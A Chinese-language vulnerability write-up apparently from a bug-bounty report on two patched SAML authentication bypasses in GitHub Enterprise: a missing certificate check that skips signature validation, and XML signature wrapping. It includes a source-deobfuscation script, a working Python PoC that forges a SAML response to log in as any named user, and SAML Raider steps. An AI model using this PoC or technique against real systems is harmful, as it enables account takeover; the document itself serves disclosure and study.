导语:在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过hackone的漏洞悬赏报告给Github并且已经修复。
在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过hackone的漏洞悬赏报告给Github并且已经修复。
漏洞介绍
Github Enterprise版本可以配置使用SAML来进行身份验证。有关SAML身份验证的简短介绍,可以查看以前的文章或以下任何内容:wikipedia,onelogin sam tutorial,auth0 saml how-to.
自从听说Github企业版支持SAML身份验证之后,就把挖掘他的SAML漏洞记在了心里。不过因为是Github,所以我没想到能在这上面发现一些重要的漏洞,就慢慢忘记了这件事情。就在今年一月,orange tsai发布了他们在Github企业版本中挖掘到的SQL注入漏洞报告,并且Github的安全部门宣布他们会在一月和二月报告的漏洞中会给出一些奖金。Orange的报告让我认为Github可能存在一定的漏洞。并且奖金的激励也有帮助于发现了这两个漏洞。 接下来就是这两个漏洞的主要内容,希望读者能着重阅读漏洞发现的过程,而不是只说666…
搭建实验环境
由于没有详细正确的阅读Github给的说明文档,我不知道如何在Github去申请测试许可,所以就直接去注册了一下正常的商业版本试用。
首先,下载qcow2镜像,通过VM打开,设置为2个cpu,4G内存。
访问 https://192.168.122.244:8443/setup,跟着导航安装结束之后,收到下面的信息提示需要至少14GB内存来引导安装。
考虑到测试SAML实现不需要所有的这些内存,所以要想办法绕过安装限制。通过搜索如果挂载和编辑qcow2镜像,我找到了libguestfs和guestfish.通过guestsfish挂载成功后,通过搜索'preflight',很幸运的找到了配置文件/usr/local/share/enterprise/ghe-preflight-check,所以我们更改:
CHECK_REQUIREMENTS = { default: {memory: 14, blockdev_capacity: 10, rootdev_capacity: 20}, }
到:
CHECK_REQUIREMENTS = { default: {memory: 3, blockdev_capacity: 10, rootdev_capacity: 20}, }
修改之后,我们就可以顺利地安装这个镜像了。
获取SAML实现源码
通过阅读orange提供的write-up,我接下来通过scp把/data/Github/current这里面的东西下载到本地。使用下面脚本:
require 'zlib' require 'fileutils' def decrypt(s) key = "This obfuscation is intended to discourage Github Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. " i, plaintext = 0, '' Zlib::Inflate.inflate(s).each_byte do |c| plaintext << (c ^ key[i%key.length].ord).chr i += 1 end plaintext end content = File.open(ARGV[0], "r").read filename = './decrypted_source/'+ARGV[0] if content.include? "ruby_concealer.so" content.sub! %Q(require "ruby_concealer.so"n__ruby_concealer__), " decrypt " plaintext = eval content dirname = File.dirname('./decrypted_source/'+ARGV[0]) unless File.directory?(dirname) FileUtils.mkdir_p(dirname) end else plaintext = content end open(filename,'w') { |f| f.puts plaintext }
然后执行一下命令将ruby文件进行去混淆:
find . -iname '*.rb' -exec ruby decrypt.rb '{}' ;
验证VM工作正常
根据文档说明很容易就可以启动以及设置好SAML身份验证。对于身份提供部分:使用了基于pysaml2的python项目,这个项目可以处理合法的IdP功能以及一些自动化和半自动化的SAML相关攻击。创建了一个虚拟的Idp证书:
openssl req -nodes -x509 -newkey rsa:2048 -keyout idp.key -out idp.crt -days 3650
并且,将我的发行者设置为:https://idp.ikakavas.gr,将认证端点设置为:https://idp.ikakavas.gr/sso/redirect.并且,在域中不需要设置很详细。由于所有的通信都是通过用户浏览器的前通道,所以我们只需要在'/etc/hosts'指向localhost就足够完成这次测试。我以下面的形式来对我的身份提供者进行设置:urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified。这样我们已经准备好进行测试了。
先做了一个测试认证,用登录user1作为SAML机制中的NAMEID,并且一切正常工作。用户是我在Github Enterprise 实例中创建的,并且能够成功登录。
下面是一般SAML WEB浏览器登录流程:
ghe3
1. 用户访问: https://192.168.122.244 2. 由于启用了SAML身份验证,并且对Web界面的访问受到保护,GHE SAML SP构建了一个身份验证请求,并将用户重定向到IdP身份验证端点,身份验证请求结束并且将请求编码为HTTP GET参数. 3. Idp身份验证端点处理这一登录请求,如果它“知道”发出请求的用户,那么继续执行。反之,返回登录错误。 4. Idp成功认证后,构造包含认证语句以及SAMLResponse,并指示用户浏览器将其发布到GHE SAML SP的使用服务端点。 5. SAML响应的真实性以及有效性得到验证。用户从SAML断言信息的NAMEID中获取,并且SAML为用户创建session。 6. Cookie已经设置成功,同时作为已经认证的用户重定向返回https://192.168.122.244
实现攻击SMAL SP
签名分离
概述
我尝试的第一件事情是禁止SAML签名响应,以及禁止身份提供者发送SMAL声明到GHE服务提供者。
如果无法执行上面的SAML内容,相当于接受未签名的SAML断言的服务提供者接受用户名而不检查密码。如果上述流程有效,则在步骤5,GHE SAMLSP接受SAML断言只是检查它是良好的形式和有效,而不检查它的真实性。
所以,在30分钟内,我找到了一个非常严重的漏洞,导致产生了以下的影响:
• 外部或者内部的攻击者可以登录任意用户。 • 外部或者内部的攻击者可以建立任意用户,甚至提升权限,设置管理员属性 • 内部用户可以通过设置administrator属性,提升权限。
签名认证在SAML SSO中是非常重要的一部分,这里确没有进行验证,下面内容就是这个漏洞的详细分析。
漏洞详情
通过执行几个grep Saml命令后,我发现SAML文件包含在/data/Github/current/lib/saml文件夹中。 Ruby不是我的强项,但是源码看起来很直观。在执行几个'grep signature'后,让我比之前更困惑。因为我看到有源码处理签名认证。
处理传入SAML响应的验证函数是/data/Github/current/lib/Github/authentication/saml.rb,这个脚本是用来处理到断言服务端点的HTTP POST请求。主要出现在get_auth_failure_result的方法中。源码如下:
def get_auth_failure_result(saml_response, request, log_data) unless saml_response.in_response_to || idp_initiated_sso? || ::SAML.mocked[:skip_in_response_to_check] return Github::Authentication::Result.external_response_ignored end unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] ) log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params) return Github::Authentication::Result.failure :message => INVALID_RESPONSE end if saml_response.request_denied? log_auth_validation_event(log_data, "failure - RequestDenied", saml_response, request.params) return Github::Authentication::Result.failure :message => saml_response.status_message || REQUEST_DENIED_RESPONSE end unless saml_response.success? log_auth_validation_event(log_data, "failure - Unauthorized", saml_response, request.params) return Github::Authentication::Result.failure :message => UNAUTHORIZED_RESPONSE end if request_tracking? && !in_response_to_request?(saml_response, request) log_auth_validation_event(log_data, "failure - Unauthorized - In Response To invalid", saml_response, request.params) return Github::Authentication::Result.failure :message => UNAUTHORIZED_RESPONSE end end
当valisd?函数被调用时,就开始变得有趣了:
unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] ) log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params) return Github::Authentication::Result.failure :message => INVALID_RESPONSE end saml_response 中的valid?方法实际上是从Message class(/lib/saml/message.rb)调用的: # Public: Validates schema and custom validations. # # Returns false if instance is invalid. #errors will be non-empty if # invalid. def valid?(options = {}) errors.clear validate_schema && validate(options) errors.empty? end
并且上面调用的validate方法在Response类中实现,该类在/data/Github/current/lib/saml/message/response.rb中实现:
def validate(options) if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate] validate_has_signature validate_signatures(options[:idp_certificate]) end validate_issuer(options[:issuer]) validate_destination(options[:sp_url]) validate_recipient(options[:sp_url]) validate_conditions validate_audience(options[:sp_url]) validate_name_id_format(options[:name_id_format]) end
到了这里,我没有在继续寻找validate_has_signature还有validate_signatures,以及他们是不是已经执行了。SAML.mocked`必须在某处设置成true,不过这一变化将导致这一漏洞似乎不可能。所以,我确信idp_certicate已经被设置了,因为如果不设置这个值的话,无法完成对SAML服务的配置。
唯一再进一步的方法就是调试函数。在ruby或者unicom语句中添加:put,pp语句也许是最简单的方式了。 所以,我用去混淆的脚本(/data/Github/current/lib/saml/message/response.rb)对混淆的代码进行带换。带换内容如下:
def validate(options) pp options if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate] puts 'Going to validate the signature' validate_has_signature validate_signatures(options[:idp_certificate]) end ...
接下来,我就可以找到是什么来运行ruby程序,进而找到我们应该去分析哪一个日志文件。 我开始通过观察什么应用侦听在443端口,发现是haproxy通过nginx转发到unicom。通过执行systemctl list-units命令我发现服务进程名字为:'Github-unicom',运行文件为:data/Github/current/config/unicorn.rb,对应的日志文件为:“/var/log/Github/unicom.log” 有了上面的积累,我重新启动服务,执行身份验证,并查看日志以查看发生了什么,并看到以下内容:
{:issuer=>"https://idp.ikakavas.gr", :idp_certificate=>nil, :sp_url=>"https://192.168.122.244"}
由于:idp_certificate 是nil,所以证明了!SAML.mocked[:skip_validate_signature] && options[:idp_certificate]为假,进而证明了" validate_has_signature "和"validate_signatures"实际上在验证签名有效性的方面从来没有起作用,
我们深入到漏洞的根源,并且发现准确实际的错误,找到了这个漏洞函数被调用的脚本(
/data/Github/current/lib/Github/authentication/saml.rb ): unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] )
idp_certificate函数为:
# Public: Returns a string containing the IdP certificate or nil. def idp_certificate @idp_certificate ||= if configuration[:idp_certificate] configuration[:idp_certificate] elsif configuration[:idp_certificate_path] File.read(configuration[:idp_certificate_path]) end end
我一直观察它的运行,不过没有任何东西关闭。我没有发现任何错误。所以,我重新启动,几分钟过后,观察他的配置文件:
{:sso_url=>"http://idp.ikakavas.gr/sso", :idp_initiated_sso=>false, :disable_admin_demote=>false, :issuer=>"https://idp.ikakavas.gr", :signature_method=>"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256", :digest_method=>"http://www.w3.org/2000/09/xmldsig#sha1", :idp_certificate_file=>"/data/user/common/idp.crt", :sp_pkcs12_file=>"/data/user/common/saml-sp.p12", :admin=>nil, :profile_name=>nil, :profile_mail=>nil, :profile_key=>nil, :profile_gpg_key=>nil, :sp_url=>"https://192.168.122.244"}
发现这个漏洞在我面前呈现出来。这是相对于第二个来说比较简单的一个漏洞。
在配置文件中,调用了一个idp_certificate_file函数,同时/data/Github/current/lib/Github/authentication/saml.rb试图获取idp_certificate_path.这一函数返回nill,并且也禁止了SAML对消息完整性和真实性的所有保护。
Poc
import requests, urllib, zlib, base64, re, datetime, pprint from urlparse import parse_qs from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Change this to reflect your GHE setup URL ='https://192.168.122.244/login?return_to=https%3A%2F%2F192.168.122.244%2F' ISSUER = 'https://idp.ikakavas.gr' RECIPIENT = 'https://192.168.122.244/saml/consume' AUDIENCE = 'https://192.168.122.244' # user to impersonate NAMEID = 'testuser' # Get a client that can handle cookies saml_client = requests.session() # Make the initial request to trigger the authentication middleware # Disallow redirects as we need to catch the Location header and parse it response = saml_client.get(URL, verify=False, allow_redirects=False) idp_login_url = response.headers['Location'] # Get the HTTP GET parameters as a dict saml_message = (dict([(k, v[0]) for k, v in parse_qs(idp_login_url.split("?")[1]).items()])) if 'SAMLRequest' in saml_message and 'RelayState' in saml_message: relay_state = saml_message['RelayState'] encoded_saml_request = saml_message['SAMLRequest'] # inflate and decode the request saml_request = zlib.decompress(urllib.unquote(base64.b64decode(encoded_saml_request)), -15) # get the AuthnRequest ID so that we can reply to_reply_to = re.search(r'ID="([_A-Za-z0-9]*)"', saml_request, re.M|re.I).group(1) now = '{0}Z'.format(datetime.datetime.utcnow().isoformat().split('.')[0]) not_after = '{0}Z'.format((datetime.datetime.utcnow()+ datetime.timedelta(minutes = 20)).isoformat().split('.')[0]) #Now load a dummy SAML Response from file and manipulate necessary fields saml_response ='''<?xml version="1.0" encoding="UTF-8"?> <ns0:Response Destination="{5}" ID="id-ijkXTw5GmzOJrShaq" InResponseTo="{0}" IssueInstant="{1}" Version="2.0" xmlns:ns0="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ns1="urn:oasis:names:tc:SAML:2.0:assertion"> <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://idp.ikakavas.gr</ns1:Issuer> <ns0:Status> <ns0:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </ns0:Status> <ns1:Assertion ID="id-MnRkvbCYnZ7YQ9vP5" IssueInstant="{1}" Version="2.0"> <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">{2}</ns1:Issuer> <ns1:Subject> <ns1:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{3}</ns1:NameID> <ns1:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <ns1:SubjectConfirmationData InResponseTo="{0}" NotOnOrAfter="{4}" Recipient="{5}"/> </ns1:SubjectConfirmation> </ns1:Subject> <ns1:Conditions NotBefore="{1}" NotOnOrAfter="{4}"> <ns1:AudienceRestriction> <ns1:Audience>{6}</ns1:Audience> </ns1:AudienceRestriction> </ns1:Conditions> <ns1:AuthnStatement AuthnInstant="{1}" SessionIndex="id-bBMbAuaPOePnBgNTx"> <ns1:AuthnContext> <ns1:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</ns1:AuthnContextClassRef> </ns1:AuthnContext> </ns1:AuthnStatement> </ns1:Assertion> </ns0:Response>'''.format(to_reply_to, now, ISSUER, NAMEID, not_after, RECIPIENT, AUDIENCE) data = {'SAMLResponse': base64.b64encode(saml_response), 'RelayState':relay_state} #Post the SAML Response to the ACS endpoint r = saml_client.post(RECIPIENT, data=data, verify=False, allow_redirects=False) # we expect a redirect on successful authentication if 300 < r.status_code < 399: # Print the cookies for verification pprint.pprint(r.cookies.get_dict())
执行完Poc之后会输出类似的东西:
{'_fi_sess': 'eyJsYXN0X3dyaXRlIjoxNDg0MDY0NjMxNzU3LCJmbGFzaCI6eyJkaXNjYXJkIjpbXSwiZmxhc2hlcyI6eyJhbmFseXRpY3NfZGltZW5zaW9uIjp7Im5hbWUiOiJkaW1lbnNpb241IiwidmFsdWUiOiJMb2dnZWQgSW4ifX19LCJzZXNzaW9uX2lkIjoiMzM2OGFiYmFjOGVjMWQxNGZiYjhmNDAzMGRiNWFkZGQifQ%3D%3D--c9219c7ba29e5285a76275c2a0a5dcbb12925fcb', '_gh_render': 'BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTZlMmNjZTBmN2RjMGM3MDExMGI3%0AMzVkMjcxYjZkOGY5MTQxMTE0Yzg2NDMwOGFkM2EzZDE5OTU1MjJiMTRkMGEG%0AOwBGSSIPdXNlcl9sb2dpbgY7AEZJIg10ZXN0dXNlcgY7AFQ%3D%0A--ae525ab90dee2157dec9890cdb147c569ff5e6b8', 'dotcom_user': 'testuser', 'logged_in': 'yes', 'user_session': 'yoF_AlS0VMFsZjBzj8mLF9Wk_Ne1YpCv57y_T1rTy-FEfD_dWHUHd3pqz07hXxODk0hhms_8gVxICuBQ'}
将攻击得来的cookie设置到浏览器中,登录成功。
XML签名包装攻击
概要
第二个周末,我有更多的时间来从不同的方面来检测Github Enterprise的漏洞。我用在一篇文章里面介绍的所有攻击方法制作了一个检测框架,进行它的漏洞扫描。
运行这个检测框架,很快发现了SAML存在一个特殊的XML签名包装攻击(xsw),是由验证签名部分和实现业务逻辑部分存在不同数据视图引发的。GHE SAML SP实施过程漏洞是由一个包含两条SAML信息的SAML响应触发的。假设合法的信息是LA,伪造的信息是:FA,并且LAS是合法信息的签名,恶意攻击的SAML响应如下:
<SAMLRespone> <FA ID="evil"> <Subject>Attacker</Subject> </FA> <LA ID="legitimate"> <Subject>Legitimate User</Subject> <LAS> <Reference Reference URI="legitimate"> </Reference> </LAS> </LA> </SAMLResponse>
所以当接收到这样一条SAML响应时,即使FA没有签名,GHE会成功验证,并且为攻击者建立一个合法的Session,而不是为合法用户创建。
漏洞详情
让我们看看为什么GHE这么容易被攻击,我们采取前面的方式,看他去混淆的代码.
最根本的问题是响应处理时,默认会认为SAML响应里面只会有一条消息。
位于/data/Github/current/lib/Github/authentication/saml.rb是用来认证传入过来的SAML响应,:
def rails_authenticate(request)
传入的SAML信息是用来创建*SAML::Message::Response实例。
saml_response = ::SAML::Message::Response.from_param(request.params[:SAMLResponse])
函数位于/data/Github/current/lib/saml/message.rb的from_param函数是用来将对响应进行base64解码,然后继续调用build函数,继续调用位于/data/Github/current/lib/saml/message/response.rb的parse方法。其中,parse()中广泛使用了at_xpath方法,以便在SAML响应中以便找到指定的XPATH,并且把节点的内容赋值给一个变量。
这是漏洞的第一部分,也就是如何在业务逻辑上面获得SAML的响应。由于at_xpath和at方法不管是有多少结果在,它们都是匹配和检索第一个结果。以下变量都是伪造的声明。
issuer = d.at_xpath("//Response/Issuer") && d.at_xpath("//Response/Issuer").text issuer ||= d.at_xpath("//Response/Assertion/Issuer") && d.at_xpath("//Response/Assertion/Issuer").text status_code = d.at_xpath("//Response/Status/StatusCode") second_level_status_code = d.at_xpath("//Response/Status/StatusCode/StatusCode") status_message = d.at_xpath("//Response/Status/StatusMessage") authn = d.at_xpath("//AuthnStatement") conditions = d.at_xpath("//Response/Assertion/Conditions") audience_text = d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction") && d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction/Audience") && d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction/Audience").text attribute_statements = d.at_xpath("//Response/Assertion/AttributeStatement") subject = d.at_xpath("//Subject") && d.at_xpath("//Subject").text name_id = d.at_xpath("//Subject/NameID") && d.at_xpath("//Subject/NameID").text name_id_format = d.at_xpath("//Subject/NameID") && d.at_xpath("//Subject/NameID")["Format"] subj_conf_data = d.at_xpath("//Subject/SubjectConfirmation") && d.at_xpath("//Subject/SubjectConfirmation/SubjectConfirmationData")
现在响应的对象已经产生,get_auth_failure_result(saml_response, request, log_data)
unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] ) log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params) return Github::Authentication::Result.failure :message => INVALID_RESPONSE end
同样,位于saml_response的valid?方法在实际上被调用:
# Public: Validates schema and custom validations. # # Returns false if instance is invalid. #errors will be non-empty if # invalid. def valid?(options = {}) errors.clear validate_schema && validate(options) errors.empty? end
valid?方法中的validate(位于/data/Github/current/lib/saml/message/response.rb)被调用:
def validate(options) if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate] validate_has_signature validate_signatures(options[:idp_certificate]) end validate_issuer(options[:issuer]) validate_destination(options[:sp_url]) validate_recipient(options[:sp_url]) validate_conditions validate_audience(options[:sp_url]) validate_name_id_format(options[:name_id_format]) end
这就是漏洞的第二部分的主要的代码:签名验证逻辑,并且得到SAML响应。 其中的validate_has_signature如下:
def validate_has_signature namespaces = { "ds" => "http://www.w3.org/2000/09/xmldsig#", "saml2p" => "urn:oasis:names:tc:SAML:2.0:protocol", "saml2" => "urn:oasis:names:tc:SAML:2.0:assertion" } unless document.at("//saml2p:Response/ds:Signature", namespaces) || document.at("//saml2p:Response/saml2:Assertion/ds:Signature", namespaces) self.errors << "Message is not signed. Either the assertion or response or both must be signed." end end
//saml2p:Response/saml2:Assertion/ds:Signature只是匹配了在处理过程中正确的部分,并且不在self.errors添加任何东西。
接下来,validate_signatures方法如下:
def validate_signatures(certificate) certificate = OpenSSL::X509::Certificate.new(certificate) unless signatures.all? { |signature| signature.valid?(certificate) } puts "digest mismatch" self.errors << "Digest mismatch" end end
它使用了来自/data/Github/current/lib/saml/message.rb的signatures:
def signatures signatures = document.xpath("//ds:Signature", Xmldsig::NAMESPACES) signatures.reverse.collect do |node| Xmldsig::Signature.new(node) end || [] end
这个函数匹配了我们在伪造的SAML响应中签名,并且valid?函数成功从Xmldsig::Signature验证了对身份提供者的公钥,因为动作消息确实是来自合法的IDP。
我们回到 response.rb的validate函数,可以看到:
validate_issuer(options[:issuer]) validate_destination(options[:sp_url]) validate_recipient(options[:sp_url]) validate_conditions validate_audience(options[:sp_url]) validate_name_id_format(options[:name_id_format])
他会返回true,并且他们会处理伪造的消息,攻击者可以任意的操作这些变量。
PoC
由于我用的代码或者工具还没有发布出来,为了描述Poc让Github验证,所以我使用了SAML Raider复现整个攻击过程。
1. 使用您喜欢的SAML身份提供者设置SAML身份验证的GHE。
2. 安装burp还有SAML Raider插件
3. 设置浏览器,使用burp代理
4. 开始登录GHE
5. 拦截SAML授权请求和转发
6. 使用合法的用户登录
7. 拦截SAML响应
8. 在SAML Raider窗口中,从可用的攻击中选择XSW3,然后单击"Apply XSW"
9. 检查下面的SAML响应,以查看它是否已更改,并将ID为evil_assertion_ID的中的名称更改为其他名称(即“victim_account”)
10. 单击Forward然后检查是不是以victim_accout进行登录的。
可利用性
如果下面3种情况之一,攻击者就可以进行身份验证绕过。
1. 攻击者是使用SAML身份验证的GHE实例的现有用户。 2. 攻击者是SAML身份提供者的现有可信用户。 3. 攻击者得到有效的SAML服务的签名信息。可以使任何使用SAML服务的应用(可以是身份服务提供商日志,其他服务提供商日志,或者StackOverflow的问题,等等)
注意,外部攻击者具有很大的困难,因为它们需要来自可信身份提供者的有效签名信息进行攻击。然而事实证明,签名泄漏可以显着提高机会。
影响
外部或内部攻击者可以进行任意用户登录 内部攻击者可以进行提升权限。